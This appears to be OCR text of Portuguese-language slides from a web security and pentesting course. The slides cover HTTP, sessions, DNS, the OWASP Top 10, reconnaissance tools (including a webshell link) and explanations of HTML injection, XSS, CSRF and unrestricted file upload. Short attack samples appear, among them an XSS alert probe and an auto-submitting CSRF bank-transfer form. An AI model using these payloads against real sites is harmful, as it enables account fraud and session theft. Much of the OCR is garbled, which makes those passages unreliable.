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dados
sse é o0 termo

* Certificados /e criptografica a
informacao de ide SO permite que dados possam ser

transferidos de maneira que nao podem ser descobertos por terceiros.

® O SSL/TLS funciona através de chaves publicas e privadas, além de chaves de sessdo para
ada conexao segura. Quando o visitante coloca uma URL com SSL no navegador e

navega pela pagina segura, o navegador e o servidor fazer uma conexao.



®* Erros do servidc

https:/ /developer.mozilla.org/pt-BR/docs /Web /HTTP /Status
O



https://developer.mozilla.org/pt-BR/docs/Web/HTTP/Status

POST

O meétodo POST é utilizado para submeter uma entidade a um recurso especifico,
/ frequentemente causando uma mudanca no estado do recurso ou efeitos colaterais no
@

servidor.

/
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J4 o Back-end proc aplicacao, seja um login ou um

cadastro;

Front-end e back-end



https://pt.wikipedia.org/wiki/Front-end_e_back-end

1§ FRONT AND BACK-END

Ecommerce shopping carts Brisbane Magento Development Brisbane

PHP Developer Brisbane
Front-end Back-end
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* Oclie rizada que ele obteve do servidor
(html). . '

* O cliente interpreta a entrada do usuario: o usuario entra com diferentes dados no cliente (e
0 este eventualmente envia-os ao servidor).



http://www.iis.net/

. ocessado em
algum servid ommerce a pagina
gue VOCEé acessa ar jador e processada em um
computador ligado a internet que retorna o processamento das regras de
negocio nele contido. Por isso se chama aplicacao e nao simplesmente site
web ou um browser para permitir cookies de terceiros.




ma que

dades de um
sistema cc sacoes comercials, por
exemplo, o foco dc leve ser a resolucao de problemas
relacionados ao negocio da empresa, e nao de questoes de infraestrutura da
aplicacao. O servidor de aplicacoes responde a algumas questéoes comuns a
todas as aplicacdes, como seguranca, garantia de disponibilidade,

/ balanceamento de carga e tratamento de excecoes.










OWASP Top 10 2013 + OWASP Top 10 2017

=% A1:2017 — Injection

A1 — Injection

A2:2017 — Broken Authentication and Session

A2 - Broken Authentication and Session Management = Management

3 A3:2013 - Sensitive Data Exposure

A3 — Cross-Site Scripting (X55)
A4 — Insecure Direct Object References [Merged+A7] o |} A4:2017 — XML External Entity (XXE) [NEW]

A5 — Security Misconfiguration I 3  A5:2017 — Broken Access Control [Merged]

Ab — Sensitive Data Exposure A AB:2017 - Security Misconfiguration
AT — Missing Function Level Access Contr [Merged+A!.] I} A7:2017 — Cross-Site Scripting (XS85)

AB — Cross-Site Request Forgery (CSRF) ] A8:2017 — Insecure Deserialization [NEW, Community]

A9:2017 - Using Components with Known
Vulnerabilities

A10:2017 — Insufficient Logging & Monitoring [NEW,
Comm.]

A9 — Using Components with Known Vulnerabilities s 4

A10 — Unvalidated Redirects and Forwards




» Os dado: 1induzir o intérprete a
executar comandos nao Iintencionals ou acessar dados sem a
devida autorizacao.
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» Os dados ct ometidos sem protecao
extra, como criptografia em rest ou em transit, e requer precaucoes
especiais quando trocados com o navegador,

%



=i

q onhecidas
Como injecgac Je pode resultar na
execucao remota comp! 50, resultando em

comprometimento completo do servidor da web back-end.
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direitos de acesso etc.
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» Me ; n iInformacoes
confidenciais; | ’
Nao apenas todos 0s sistemas operacionais, estruturas,

bibliotecas e aplicativos devem ser configurados com seguranca,
/mas devem ser corrigidos / atualizados em tempo habil.




> O XSS pe m scripts no navegador
da vitima, que pode trar sessoes do usuario, desfigurar
sites ou redirecionar o usuario para sites maliciosos.

%






eglos

ataque podera
> servidores.

> Aplicativc tes com vulnerabilidades
conhecidas podem minar as defesas de aplicativos e permitir
varios ataques e impactos.

%



~ > Amaic 0 tempo para
detectar uma \ )O dias, geralmente
detectados por partes externas, em vez de processos ou
monitoramento Iinterno.

%
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a isso.

Esta versd > padrdo sdo solidificados e sdo
"testados na estrada’ :m andamento em breve e fornecerd um
trabalho mais granular e nos niveis de intensidade nos quais cada um dos
elementos de um teste de penetragdo pode ser realizado. Como nenhum pentest é como outro, e os testes vdo
desde o aplicativo da web ou o teste de rede mais mundanos até o engajamento completo da equipe em
vermelho, esses niveis permitirdo que uma organizagdo defina quanta sofisticagdo eles esperam que seu
adversdrio exiba e permita o testador para intensificar a intensidade nas dreas em que a organizagdo mais
precisa deles. Alguns dos trabalhos iniciais sobre "niveis" podem ser vistos na secéo de coleta de informacdes.






http://www.pentest-standard.org/index.php/Pre-engagement
http://www.pentest-standard.org/index.php/Intelligence_Gathering
http://www.pentest-standard.org/index.php/Threat_Modeling
http://www.pentest-standard.org/index.php/Vulnerability_Analysis
http://www.pentest-standard.org/index.php/Exploitation
http://www.pentest-standard.org/index.php/Post_Exploitation
http://www.pentest-standard.org/index.php/Reporting

L tem uma descricao
detalhad: Jva de concelto ou
detalhes de cc

Remediation Report: Na remediacao vocé coloca instrucoes de como corrigir
a vulnerabilidade, quais mecanismos de controle e seguranca sao esséncias e
/@uais passos tomar para eliminar esse risco;
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https://pt.wikipedia.org/wiki/Http
https://pt.wikipedia.org/wiki/Internet
https://pt.wikipedia.org/wiki/Arquivo_de_computador
https://pt.wikipedia.org/wiki/Dados
https://pt.wikipedia.org/wiki/Site
https://pt.wikipedia.org/wiki/Navegador_web
https://pt.wikipedia.org/wiki/Hiperliga%C3%A7%C3%A3o
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out do site. Isso

‘web sdo solicitadas
pelo ¢ ompanhar o estado atual
do carrinho do c > atingir esse objetivo;

Um ID de sessdo geq ~ ite em sua primeira visita a um site. E
diferente do ID do usudrio, pois as sessdes geralmente duram pouco (elas expiram apds um
tempo predefinido de inatividade que pode ser de minutos ou horas) e podem se tornar
invdlidas apds o cumprimento de uma determinada meta (por exemplo, uma vez que o
comprador finalizou o pedido, ele ndo pode usar o mesmo ID da sessdo para adicionar mais

ifens);



https://en.wikipedia.org/wiki/Computer_science
https://en.wikipedia.org/wiki/HTTP
https://en.wikipedia.org/wiki/Session_(computer_science)

SESSION ID - EXAMPLE

Session oreated, Aeturn se==on il

Application
Liser {hroswser| sends session SErver
10 Fior 3l sucbseniuent requesis

Rt resgrpmse for phoen session 10

- start.ph
—h————_j_P_______i
 Cookle
- pHpSESSID=1134

o PHPSESSID=1734 ‘[ _:] '
—2 _

_._._'_._._'__._'_._,_.—-—.

—

"

o PHPSESSID=1234

Bech's sesshon: 1234
Lession varables:
start="10:15am
count=12

current ander=34560

Lucy’s session: 6576
Session vanables:
start=%45am
coymt=2
currentarder=352.40

Wills session; 2456
Sesslon vaniables:
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root@whwin:~# whois flashwebhost.com
he program 'whois' is currently not installed. You can install it by typing:
apt-get install whois
root@fwhwin:~#
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
whois
® upgraded, 1 newly installed, © to remove and 267 not upgraded.
Need to get 29.5 kB of archives.
After this operation, 152 kB of additional disk space will be used.
Get:1 http://in.archive.ubuntu.com/ubuntu/ trusty/main whois 1386 5.1.1 [29.5 kB]
Fetched 29.5 kB in 0s (34.0 kB/s)
Selecting previously unselected package whois.
(Reading database ... 116005 files and directories currently installed.)
Preparing to unpack .../archives/whois 5.1.1 i386.deb ...
Unpacking whois (5.1.1) .
Processing triggers for man-db (2.6.7.1-1) ...
Setting up whois (5.1.1)
root@fwhwin:~# whois flashwebhost.com

| Command Prompt

C:\temp?
C:\tempwhoiscl -r microsoft.com

WHOIS Server: whois.opensrks.net

Registrant:

Microsoft Corporation
One Microsoft Way
Hgdmnnd, A 98052

Domain name: MICROSOFT.COM

Administrative Contact:
Administrator, Domain domainsBmicrosoft.com
One Microsoft Way
Redmond, WA 98@52

hois Server Version 2.0

Domain names in the .com and .net domains can now be registered
ith many different competing registrars. Go to http://www.internic.net
for detailed information.

us Domain Name: FLASHWEBHOST.COM
+  42C8828R8A Registrar: PDR LTD. D/B/A PUBLICDOMAINREGISTRY.COM
TBC}'II'I:i.EB.]. Gl]l'ltﬂ[:t: wWhois Server: whoxs.PublchomamReg;strytcom

. Referral URL: http://www.PublicDomainRegistry.com
Hostmaster, MSN nsnhstPmicrosoft.com Name Server: NS58.HOSTHAT.COM
Une Hicrusnf‘t uay Name Server: NS59.HOSTHAT.COM

Status: clientTransferProhibited

Redmond, WA 98852 Updated Date: 11-oct-2013
UE Creation Date: ©01-nov-2001

+1,4258828084 v Bl




ome amigdvel.
or e Mo
www.exe 200.123.123.15;
* Sem o DNS, nossa nc ymeros gigantescos! Em suma, ndo

teriamos sites com nomes amigdveis como Google.com , Homehost.com.br , Yahoo.com e
etc;

Em resumo, o servidor DNS traduz um nome de dominio para seu endereco IP. Por

exemplo, o cliente acessa www.homehost.com.br , e o servidor DNS traduz este nome
para um |IP na internet;



https://www.homehost.com.br/blog/tutoriais/mysql/o-que-devo-usar-como-server-name-para-conexao-ao-mysql/
https://www.homehost.com.br/blog/tutoriais/o-que-e-dominio-de-site/
https://www.homehost.com.br/pesquisa-de-dominios
https://www.homehost.com.br/blog/directadmin/gerenciador-de-arquivos/
https://www.homehost.com.br/blog/contas-de-email/como-usar-o-gmail-para-acessar-emails-meu-site-cpanel/
https://www.homehost.com.br/blog/registro-de-dominios/como-alterar-o-dns-do-meu-dominio/

= Terminal - ClouDNS
File Edit View Terminal Tabs Help

5 nslookup cloudns.net
Server: 8.8.8.8
Address: 8.6.6.8#53

on-authoritative answer:
ame: cloudns.net
Address: 77.247.178.151
e aCes ame: cloudns.net
.@ avras, isto Address: 2a00:1768:1001:112::1:1

ealizada, aos servidores ‘ s 1
do dominio WIKIPEDIA.ORG.

@ ; .
tfpst/ /docs.microsoft.com/en-us/windows-

!M dolministration/windows-commands /nslookup



https://pt.wikipedia.org/wiki/DNS
https://pt.wikipedia.org/wiki/Dom%C3%ADnio
https://pt.wikipedia.org/wiki/Host
https://pt.wikipedia.org/wiki/IP
https://pt.wikipedia.org/wiki/DNS
https://pt.wikipedia.org/wiki/Dom%C3%ADnio
https://pt.wikipedia.org/wiki/Host
https://pt.wikipedia.org/wiki/DNS
https://pt.wikipedia.org/wiki/Dom%C3%ADnio
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup

. nc 197.168.179.146 B0
HEAD / HTTP/1.8 p
HTTP/1.1 400 Bad Request QIS
Date: Tue, B1 Aug 2017 16:26:23 GMT
Eerver: Apache/2.4.2
ontent-Length: 3G OMmo O
Connection: close
Content-Type: text/html; charset=is0-8859-1

ada, seja

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.8//EN"=

<html=<head= ’

<title>400 Bad Reguest</title> . Alem de ser
</head=<body=>

<hl=Bad Request</hl= J

<p=Your browser sent a reguest that this server could not understand.<br /= em OUTI’CIS pOI‘TCIS
</p=

hr e 0
:;nrisress:dpache!z.d,zﬁ (Debian) Server at 127.0.1.1 Port 80</address= ) o SerV|dor FTP e SMTP-

</bodv=</html> =

s:/ /Www.sans.org /security-

O resources/sec560 /netcat cheat sheet vl1.pdf



https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf

File Edit View Search Terminal Help
: ~# whatweb www.facebook.com

/usr/11b/ruby/1 9. 1/rubygems/custom require.rb:36:1n "require': icon
v will be deprecated in the future, use String#encode instead.
http://www. facebook.com [302] Country[IRELAND][IE], IP[31.13.79.246]
, RedirectLocation[https://www.facebook.com/], UncommonHeaders[x-fb-
debug]

https://www. facebook.com/ [200] Country[IRELAND][IE], HTML5, IP[31.1
3.79.246], Meta-Refresh-Redirect[/?_fb_noscript=1], PasswordField[pa
ss,reg_passwd__], Script, UncommonHeaders|[strict-transport-security,
x=-frame-options,x-xss-protection, x-content-type-options, x-fb-debug],
X-Frame-Options[DENY], X-XSS-Protection[0]
https://www.facebook.com/?_fb_noscript=1 [200] Cookies[noscript], Co
untry[IRELAND] [TIE], HTML5, IP[31.13.79.246], PasswordField[pass, reg_

passwd__], Script, UncommonHeaders[strict-transport-security,x-frame
-options,x-xss-protection,x-content-type-options,x-fb-debug], X-Fram
e- Optlons[DEN‘] X-XSS-Protection[0]

ali:~#

.0
‘tL
0 de
blogs, pacotes
2cas JavaScript,
)0SItIVOS
Veb tem mais de 1700
para reconhecer algo
2. O WhatWeb também identifica
Jmeros de versao, enderecos de email, IDs d
‘conta, médulos de estrutura da web, erros d
SQL e muito mais.

lications /whatweb


https://tools.kali.org/web-applications/whatweb
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https: / /resources.infosecinstitute.com /process-scanning-and-enumeration /#gref

K MERACAO E SCANNING WEB - CONTEUDOS

O * https://booksite.elsevier.com/samplechapters /9781597496278 /Chapter 3.pdf

® https://thebeOvlksaga.com/2019/03/31 /ethical-hacking-101-web-server-enumeration/

® https://www.greycampus.com/opencampus/ethical-hacking /enumeration-and-its-types

l ® https://hkh4cks.com/blog/2018/01 /22 /common-enumeration-tools/

® https://www.hackingtutorials.org /scanning-tutorials /enumerate-webserver-

directories-with-nmap /

https: //attackd0gz.com/2019/11 /04 /web-application-enumeration/

https: //www.youtube.com /watch2v=ngOmkZ3U2e4

I



https://resources.infosecinstitute.com/process-scanning-and-enumeration/#gref
https://booksite.elsevier.com/samplechapters/9781597496278/Chapter_3.pdf
https://thebe0vlksaga.com/2019/03/31/ethical-hacking-101-web-server-enumeration/
https://www.greycampus.com/opencampus/ethical-hacking/enumeration-and-its-types
https://hkh4cks.com/blog/2018/01/22/common-enumeration-tools/
https://www.hackingtutorials.org/scanning-tutorials/enumerate-webserver-directories-with-nmap/
https://attackd0gz.com/2019/11/04/web-application-enumeration/
https://www.youtube.com/watch?v=ngOmkZ3U2e4

https: / /owasp.org/www-project-web-security-testing-guide /stable /4-

K MERACAO E SCANNING WEB — CONTEUDOS 2
O

Web Application Security Testing/01-Information Gathering/

® https://owasp.org/www-chapter-belgium/assets /2012 /2012-09-12/OWASP-
Modern Information Gathering.pdf

guide /assets/archive /OWASP Testing Guide v3.pdf

l ® https://owasp.org/www-project-web-security-testing-

O * https://owasp.org/www-project-web-security-testing-
guide /assets/archive /OWASP Testing Guide v4.pdf

https: / /pt.slideshare.net /KZAbv /owasp-modern-information-gathering

https: / /www.futurelearn.com/courses /ethical-hacking-an-introduction /0 /steps /71525

I



https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/
https://owasp.org/www-chapter-belgium/assets/2012/2012-09-12/OWASP-Modern_Information_Gathering.pdf
https://owasp.org/www-project-web-security-testing-guide/assets/archive/OWASP_Testing_Guide_v3.pdf
https://owasp.org/www-project-web-security-testing-guide/assets/archive/OWASP_Testing_Guide_v4.pdf
https://pt.slideshare.net/KZAbv/owasp-modern-information-gathering
https://www.futurelearn.com/courses/ethical-hacking-an-introduction/0/steps/71525
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®* Apache-users

®* Nmap

Fierce

®) Netcraft (https://www.netcraft.com/)

Shodan.io e Censys
heHaverster



https://github.com/guelfoweb/knock
https://tools.kali.org/web-applications/dirb
https://www.exploit-db.com/google-hacking-database
https://github.com/OfJAAH/ReconOfJAAAH
https://www.netcraft.com/



https://geekflare.com/online-scan-website-security-vulnerabilities/
https://owasp.org/www-community/Vulnerability_Scanning_Tools

_
artir da
nto que
Servico que
0 momento em

e enviada ao proxy, que

entao re spedado e devolve o
resultado para o

* Desta forma, é possivel ter controle absoluto sobre o trafego da internet e realizar
bloqueios (ou liberacdes) de acordo com as politicas estabelecidas pela empresa.

ostec.bloqg/sequranca-perimetro ipos-e-terminoloqi



https://ostec.blog/seguranca-perimetro/proxy-web-tipos-e-terminologias

® https://pol

®* hitps:/ /portswigger.net /trainin
® https: ortswigger.net /web-securit

www.udemy.com/course /burp-suite



https://portswigger.net/burp/documentation/desktop/getting-started
https://portswigger.net/burp/documentation
https://portswigger.net/burp/documentation/desktop/tools
https://portswigger.net/training
https://portswigger.net/web-security
https://www.udemy.com/course/burp-suite/

\} EB EXPLOITATION - TOOLS g

Reconhecimento https: //github.com /OfJAAH /ReconOfJAAAH
O » Scanner de Vulnerabilidades: https://github.com/sullo /nikto
» Whols: https://reqistro.br/tecnologia/ferramentas/whois/ /
https://whois.net/ / https://who.is/

Burp Suite: https://portswigger.net/burp

cURL: https://curl.haxx.se/

Hydra: https://qithub.com /vanhauser-the /the-hydra

Dirb Web Crawler: https:/ /tools.kali.org/web-applications /dirb
Wfuzz Fuzzing: https://github.com/xmendez /wfuzz

Whatweb Info Collection: https://tools.kali.org/web-applications /whatweb
OSINT Framework: https://osintframework.com/

O_/
YV V

N OV~Y



https://github.com/OfJAAH/ReconOfJAAAH
https://github.com/sullo/nikto
https://registro.br/tecnologia/ferramentas/whois/
https://whois.net/
https://who.is/
https://portswigger.net/burp
https://curl.haxx.se/
https://github.com/vanhauser-thc/thc-hydra
https://tools.kali.org/web-applications/dirb
https://github.com/xmendez/wfuzz
https://tools.kali.org/web-applications/whatweb
https://osintframework.com/

\} EXPLOITATION - TOOLS 2

Reconhecimento 2: https://github.com/guelfoweb /knock
\l XSS Audit: hitps://github.com /sOmd3v /XSStrike (
SQLMap SQL Audit: http://sglmap.org/

© > Nmap: https://nmap.org/
» Shodan: https://www.shodan.io/
» Censys: hitps://censys.io/

l » HTTP Basic Honeypot: https://github.com/bijeborn/basic-auth-pot
» WPScan Wordpress Audit: https://github.com /wpscanteam /wpscan

o » DNSRecon: https:/ /tools.kali.org /information-gathering /dnsrecon
Reconhecimento 3: http://virustotal.com/
Webshells: https://github.com/xI7dev/WebShell (Warning: Revise o cédigo

O antes)

»| Google Hacking and GHDB: https://www.exploit-db.com/google-hacking-

database

/|



https://github.com/guelfoweb/knock
https://github.com/s0md3v/XSStrike
http://sqlmap.org/
https://nmap.org/
https://www.shodan.io/
https://censys.io/
https://github.com/bjeborn/basic-auth-pot
https://github.com/wpscanteam/wpscan
https://tools.kali.org/information-gathering/dnsrecon
http://virustotal.com/
https://github.com/xl7dev/WebShell
https://www.exploit-db.com/google-hacking-database
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HTML INJECTION

* A injecao de HTML € um ataque semelhante ao XSS (Cross-site Scripting). Enquanto na vulnerabilidade XSS, o

s

invasor pode injetar e executar o codigo Javascript, o ataque por injecao de HTML permite apenas a injecao de

determinadas tags HTML. Quando um aplicativo nao manipula adequadamente os dados fornecidos pelo
usuario, um invasor pode fornecer cédigo HTML valido, geralmente por meio de um valor de parametro, e
injetar seu proprio conteudo na pagina. Esse ataque geralmente € usado em conjunto com alguma forma de
engenharia social, pois o ataque explora uma vulnerabilidade baseada em codigo e a confianca do usuario.
Cenariode ataque (OWASP)
Um possivel cenario de ataque é demonstrado abaixo:
* O invasor descobre a vulnerabilidade da injecao e decide usar um ataque de injecao HTML
* O atacante cria um link malicioso, incluindo o conteudo HTML injetado, e envia para um usuario por email

* O usuario visita a pagina devido a localizacao de um dominio confiavel

O HTML injetado pelo atacante é renderizado e apresentado ao usuario solicitando um nome de usuario e
senha

O usuario digita um nome de usuario e senha, que sao enviados ao servidor do invasor

https: //www.acunetix.com /vulnerabilities /web /html-injection/



https://www.acunetix.com/vulnerabilities/web/html-injection/

HTML INJECTION - EXEMPLOS

2 hitp /e Jgallenes/gallery pho7site=<h1> TEST 2¢/h15 - Mictosolt Intesnet E__ IR B3 |

g/ alery phg Patmes ) TES TX202¢ M1 w] ) Wechiok u | Lrks

RROR Picture gallery directory
. RS LS A
TEST 2
O aot found

Ovutros Exemplos: https://medium.com/@elberandre /bugbounty-types-html-injection-via-email-
8409b6dc4d18



https://medium.com/@elberandre/bugbounty-types-html-injection-via-email-8409b6dc4d18

HTML INJECTION - EXEMPLOS

HTML-Injection-Test

Warning

This is a fake page with
fake data, don't trust me ;)

Outros Exemplos: https: //hackerone.com/reports/150179



https://hackerone.com/reports/150179
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CROSS SITE SCRIPTING

Os ataques de cross-site scripting (XSS) sao um tipo de injecao, na qual os scripts ‘(
maliciosos sao injetados em sites benignos e confiaveis. Os atagues XSS ocorrem
guando um invasor usa um aplicativo da Web para enviar codigo malicioso,

geralmente na forma de um script do lado do navegador, para um usuario final

diferente. As falhas que permitem que esses ataques sejam bem-sucedidos sao

bastante difundidas e ocorrem em gualquer lugar em gque um aplicativo Web use

entrada de um usuario na saida gerada sem valida-lo ou codifica-lo.

* Um invasor pode usar o XSS para enviar um script mal-intencionado a um usuario
iInocente. O navegador do usuario final nao tem como saber que o script nao deve
ser confiavel e o executara. Como ele acredita que o script veio de uma fonte
confiavel, o script mal-intencionado pode acessar todos os cookies, tokens de sesséo
ou outras informacoes confidenciais retidas pelo navegador e usadas com esse
site. Esses scripts podem até reescrever o conteudo da pagina HTML.



CROSS SITE SCRIPTING

1 Os ataques de script entre sites (XSS) ocorrem quando: ‘(

Os dados entram em um aplicativo da Web por meio de uma fonte nédo confiavel, com mais
freqUéncia uma solicitacao da web.

2. Os dados sao incluidos no contetido dinamico enviado a um usuario da Web sem ser
validado para conteudo malicioso.

l * O conteudo malicioso enviado ao navegador da Web geralmente assume a forma de
um segmento de JavaScript, mas também pode incluir HTML, Flash ou qualquer

outro tipo de codigo que o navegador possa executar. A variedade de ataques
baseados no XSS € guase ilimitada, mas geralmente incluem a transmisséao de
dados privados, como cookies ou outras informacdes da sessao, ao invasor,
redirecionando a vitima para o conteudo da Web controlado pelo invasor ou
executando outras operacdes maliciosas na maquina do usuario sob o disfarce do
site vulneravel.




CROSS SITE SCRIPTING - TIPOS

\l taques XSS armazenados

Ataques armazenados sao aqueles em que o script injetado € armazenado permanentemente nos
servidores de destino, como em um banco de dados, em um férum de mensagens, log de
visitantes, campo de comentarios etc. A vitima recupera o script malicioso do servidor quando

solicita 0 armazenamento. em formacao. O XSS armazenado também € conhecido como XSS
Persistente ou Tipo I.

Atagues XSS refletidos

l * Atagues refletidos sao aqueles em que o script injetado é refletido no servidor da Web, como em
uma mensagem de erro, resultado da pesquisa ou qualquer outra resposta gque inclua parte ou

toda a entrada enviada ao servidor como parte da solicitacdo. Atagques refletidos sao entregues as
vitimas por outra rota, como em uma mensagem de email ou em outro site. Quando um usuario é
enganado a clicar em um link malicioso, enviar um formulario especialmente criado ou até mesmo
navegar em um site malicioso, o codigo injetado viaja para o site vulneravel, o que reflete o ataque
ao navegador do usuario. O navegador entao executa o codigo porque veio de um servidor
"confiavel". O XSS refletido tambéem & conhecido como XSS nao persistente ou tipo Il.

hittps:/ /owasp.org /www-community /attacks /xss /



https://owasp.org/www-community/attacks/xss/
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CROSS SITE SCRIPTING - TIPOS
tagues XSS baseado em DOM

* O XSS baseado em DOM (ou como € chamado em alguns textos, "tipo O
XSS") é um atague XSS em que a carga util do atague é executada como
resultado da modificacao do "ambiente” DOM no navegador da vitima usado
pelo lado do cliente original script, para que o codigo do lado do cliente seja

l executado de maneira "Iinesperada"”. Ou seja, a propria pagina (que € a

resposta HTTP) n&o é alterada, mas o codigo do lado do cliente contido na

pagina é executado de maneira diferente devido as modificac6es maliciosas
gue ocorreram no ambiente DOM.

O

hitps: / /owasp.org/www-community /attacks /DOM Based XSS



https://owasp.org/www-community/attacks/XSS
https://owasp.org/www-community/attacks/DOM_Based_XSS

CROSS SITE SCRIPTING - EXEMPLOS

Cross Site Scripting(XSS)

POST / comment.php?
INSERT ... text=<script>alert(1)</script>
‘<script>alert(1)</script>'

— 08

<html>
Comments
<script>alert(1)</script>

<html>
SELECT ... =>
'<script>alert(1)</script>’ |0
Client 2
oG




\\} CROSS SITE SCRIPTING - EXEMPLOS

O

N




https: / /pentester.land /list-of-bug-bounty-writeups.html

\\5 CROSS SITE SCRIPTING - EXEMPLOS

O https: / /medium.com /bugbountywriteup /stored-xss-in-bug-bounty-13c08e6f5636

https://pethuraj.com/blog/google-bug-bounty-writeup /

https: //medium.com/@corneacristian /top-25-xss-bug-bounty-reports-b3c90e2288c8

l https: //www.youtube.com /watch2v=YMhhmLCefnw

https: //www.youtube.com /watch2v=XHf3y-4H AU

Cf p https: / /www.youtube.com /watch2v=lhPsBMBDFcg

https: / /www.youtube.com /watch2v=aybCeXhEjsA

https: / /www.youtube.com /watch2v=FgNxYDSjovc

hitps: //www.youtube.com /watch2v=hb gENFUdOk



https://pentester.land/list-of-bug-bounty-writeups.html
https://medium.com/bugbountywriteup/stored-xss-in-bug-bounty-13c08e6f5636
https://pethuraj.com/blog/google-bug-bounty-writeup/
https://medium.com/@corneacristian/top-25-xss-bug-bounty-reports-b3c90e2288c8
https://www.youtube.com/watch?v=YMhhmLCefnw
https://www.youtube.com/watch?v=XHf3y-4H_AU
https://www.youtube.com/watch?v=IhPsBMBDFcg
https://www.youtube.com/watch?v=aybCeXhEjsA
https://www.youtube.com/watch?v=FqNxYDSjovc
https://www.youtube.com/watch?v=hb_qENFUdOk

CROSS SITE REQUEST FORGERY

\l\@ A falsificacado de solicitacao entre sites (CSRF) € um atague que forca um g
usuario final a executar acoes indesejadas em um aplicativo Web no qual eles
estao atualmente autenticados. Com uma peguena ajuda da engenharia
social (como o envio de um link por email ou bate-papo), um invasor pode
induzir os usuarios de um aplicativo da Web a executar acdoes de sua
l escolha. Se a vitima for um usuario normal, um ataqgue CSRF bem-sucedido
pode forcar o usuario a executar solicitacdoes de alteracao de estado, como
transferéncia de fundos, alteracéo de endereco de email e assim por
diante. Se a vitima for uma conta administrativa, 0 CSRF podera comprometer
todo o aplicativo da web.

hitps: / /owasp.org /www-community /attacks /csrf



https://owasp.org/www-community/attacks/csrf

N s

CROSS SITE REQUEST FORGERY

1 Existem varias maneiras pelas quais um usuario final pode ser enganado para ‘(
carregar informacoes ou enviar informacoes para um aplicativo da web. Para

executar um ataque, precisamos primeiro entender como gerar uma

solicitacao maliciosa valida para nossa vitima executar. Vamos considerar o

seguinte exemplo: Alice deseja transferir US $ 100 para Bob usando

l 0 aplicativo da web bank.com vulneravel ao CSRF. Maria, uma atacante, quer
convencer Alice a enviar o dinheiro para Maria. O atague compreendera as

seguintes etapas:

1. construindo um URL ou script de exploracéo

2. enganando Alice para executar a acdo com engenharia social


https://owasp.org/www-community/attacks/Social_Engineering

O

Cross-Site Request Forgery

\\g CROSS SITE REQUEST FORGERY - EXEMPLOS

1. Victim logs into bank
account.

2. Bank assigns victim
a validation token. BANK

VICTIM WEBSITE

3. Hacker sends 5. Forged request
forged request is executed by
disquised as the bank using
legitimate previously
communication assigned
from the bank. HACKER validation token.

4. Victim unknowingly
forwards request to bank.




\

CROSS SITE REQUEST FORGERY - EXEMPLOS

- Aftacker forges a request for
Email change to a website

Attacker

™M

1. Share link to malicious-site.com malicious-site.com
through email, social media and other 3. load page with

malicious payload

~ 2. Open link in browser

Victim's browser

4. send request including
user credentials

target-site.com

5. request is accepted and
processed as legit user request




\

CROSS SITE REQUEST FORGERY - EXEMPLOS

Cross-Site Request Forgery (CSRF)

Victim browser
1) Victim signs on to mybank

2) Victim visits
attacker.com attacker.com mybank.com

3) Page contains

CSRF code
4) Browser sends
the request to mybank

<form acticamhttps://mybank.com/transfer.jsp
method=POST>
<input name=recipient value=attacker> .
<Input name=amount value=1000> POST jtranster.jsp HTTF/1.1

</form> Cockie: «mybank authentication cookie>

<seript>document. forms{0]. submit(}</script> recipient=attacker&amount=1000




CROSS SITE REQUEST FORGERY - EXEMPLOS

1 https: / /www.youtube.com/watch2v=13QPmRuhbhU

® https://www.youtube.com /watch2v=vRBihr41 JTo

® https://www.youtube.com/watch?2v=eWEgUcHPleO

® https://www.youtube.com/watch2v=1NO4128J-0s

l ® https://www.youtube.com/watch2v=i{nNa4i01 aok

® https://www.youtube.com/watch2v=Ighyxé-ky 1k

T % https://hackerone.com /reports /419891

* https: //www.imperva.com/learn/application-security /csrf-cross-site-request-forgery /

¢ https://www.infosec.com.br/cross-site-request-forgery /



https://www.youtube.com/watch?v=13QPmRuhbhU
https://www.youtube.com/watch?v=vRBihr41JTo
https://www.youtube.com/watch?v=eWEgUcHPle0
https://www.youtube.com/watch?v=1NO4I28J-0s
https://www.youtube.com/watch?v=jnNa4i01aok
https://www.youtube.com/watch?v=lqhyx6-ky1k
https://hackerone.com/reports/419891
https://www.imperva.com/learn/application-security/csrf-cross-site-request-forgery/
https://www.infosec.com.br/cross-site-request-forgery/
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UNRESTRICTED FILE UPLOAD

Os arquivos enviados representam um risco significativo para os aplicativos. O primeiro passo em
muitos ataques € obter algum cddigo no sistema a ser atacado. Entdo o ataque precisa apenas
encontrar uma maneira de executar o codigo. O uso de um upload de arquivo ajuda o invasor a executar
a primeira etapa.

* As consequéncias do upload irrestrito de arquivos podem variar, incluindo controle completo do sistema,
um sistema de arquivos ou banco de dados sobrecarregado, encaminhamento de ataques para
sistemas de back-end, ataques do lado do cliente ou desfiguracao simples. Depende do que o aplicativo
faz com o arquivo carregado e, principalmente, de onde esta armazenado.

* Existem realmente duas classes de problemas aqui. O primeiro € com os metadados do arquivo, como o
caminho e o nome do arquivo. Eles geralmente séo fornecidos pelo transporte, como codificacdo HTTP
com varias partes. Esses dados podem induzir o aplicativo a substituir um arquivo critico ou a
armazena-lo em um local incorreto. Vocé deve validar os metadados com muito cuidado antes de usa-
los.

*) A outra classe de problemas esta no tamanho ou no conteudo do arquivo. A variedade de problemas
aqui depende inteiramente do uso do arquivo. Veja os exemplos abaixo para obter algumas idéias sobre
como os arquivos podem ser mal utilizados. Para se proteger contra esse tipo de ataque, vocé deve
analisar tudo o que seu aplicativo faz com os arquivos e pensar cuidadosamente sobre o
processamento e os intérpretes envolvidos.




UNRESTRICTED FILE UPLOAD

qgues na plataforma de aplicativos:
rregar arquivo .jsp ha arvore da web - cédigo jsp executado como usuario da web
Carregar arquivo .gif para ser redimensionado - falha na biblioteca de imagens explorada
Carregar arquivos enormes - negacéao de servigco do espago no arquivo
Carregar arquivo usando nome ou caminho malicioso - substitua um arquivo critico
Carregar arquivo contendo dados pessoais - outros usuarios acessam
Carregar arquivo contendo "tags" - as tags sao executadas como parte de serem "incluidas" em uma pagina da web

Carregar arquivo .rar a ser verificado pelo antivirus - comando executado em um servidor executando o software antivirus
vulneravel

Ataques em outros sistemas:
Carregar arquivo .exe na arvore da web - as vitimas baixam o executavel trojaned
Carregar arquivo infectado por virus - maquinas das vitimas infectadas

Carregar arquivo .html contendo script - experiéncias da vitima Script entre sites (XSS)

Carregue 0 arquivo .jpg que contém um objeto Flash - a vitima experimenta o sequestro de conteudo entre sites.

